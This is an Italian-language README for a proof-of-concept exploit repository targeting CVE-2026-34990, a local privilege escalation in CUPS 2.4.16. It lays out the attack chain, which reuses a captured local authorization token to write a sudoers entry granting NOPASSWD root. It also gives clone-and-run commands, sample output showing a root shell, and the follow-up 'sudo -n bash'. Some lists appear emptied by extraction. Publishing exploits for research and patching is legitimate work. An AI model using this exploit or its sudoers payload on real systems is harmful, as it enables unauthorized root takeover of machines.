
PoC generico per CVE-2026-34990 - CUPS 2.4.16 Escalation di privilegi locale tramite divulgazione di token locale e sovrascrittura arbitraria di file root.
Un proof-of-concept generico per CVE-2026-34990, una vulnerabilità di privilege escalation locale che interessa CUPS 2.4.16.
L'exploit dimostra come un utente locale non privilegiato possa abusare dell'autenticazione locale di CUPS e del comportamento di configurazione delle stampanti per ottenere una scrittura arbitraria di file come root ed escalare i privilegi.
CVE-2026-34990 è stata originariamente segnalata da:
Asim Viladi Oglu Manizada (@manizada)
Non sono lo scopritore di questa vulnerabilità.
Questo repository contiene la mia implementazione proof-of-concept adattata e testata, basata su informazioni tecniche divulgate pubblicamente.
Ad alto livello, la catena di exploit è:
Local unprivileged user
|
v
Create temporary CUPS printer
|
v
Trigger outbound IPP authentication
|
v
Capture Authorization: Local token
|
v
Reuse token against privileged CUPS operations
|
v
Create/persist file:// printer
|
v
Submit print job
|
v
Root-owned arbitrary file write
|
v
Privilege escalation
Il PoC utilizza automaticamente il nome utente locale corrente.
Ad esempio, quando eseguito come:
alice
il payload dimostrativo prende di mira:
/etc/sudoers.d/alice-pwn
e tenta di scrivere:
alice ALL=(ALL) NOPASSWD: ALL
Un exploit riuscito può quindi essere verificato con:
sudo -n id
Esempio:
uid=0(root) gid=0(root) groups=0(root)
Il PoC richiede:
ipptoollplpstatVerificare la versione di CUPS:
cups-config --version
Verificare che lo scheduler sia in esecuzione:
lpstat -r
Verificare il listener locale di CUPS:
ss -lnt | grep 631
Clonare il repository:
git clone https://github.com/Noorkhalel/CVE-2026-34990-CUPS-LPE-PoC.git
cd CVE-2026-34990-CUPS-LPE-PoC
Eseguire:
python3 exploit.py
Output di esempio:
[*] user: <local-user>
[*] target: /etc/sudoers.d/<local-user>-pwn
[+] Local token: <LOCAL_TOKEN>
[*] attempt 1: <printer-name>
[+] ROOT via sudoers
uid=0(root) gid=0(root) groups=0(root)
[*] next: sudo -n bash
Dopo un'exploitazione riuscita:
sudo -n bash
Questo PoC è intenzionalmente scritto come implementazione generica della CVE divulgata pubblicamente.
Non contiene:
Questo codice è fornito per:
Utilizzare questo codice solo su sistemi di propria proprietà o per i quali si dispone di autorizzazione esplicita.
L'autore non è responsabile per l'uso improprio di questo software.
Scoperta della vulnerabilità:
Asim Viladi Oglu Manizada (@manizada)
Adattamento del PoC, testing e documentazione:
Noor Khalil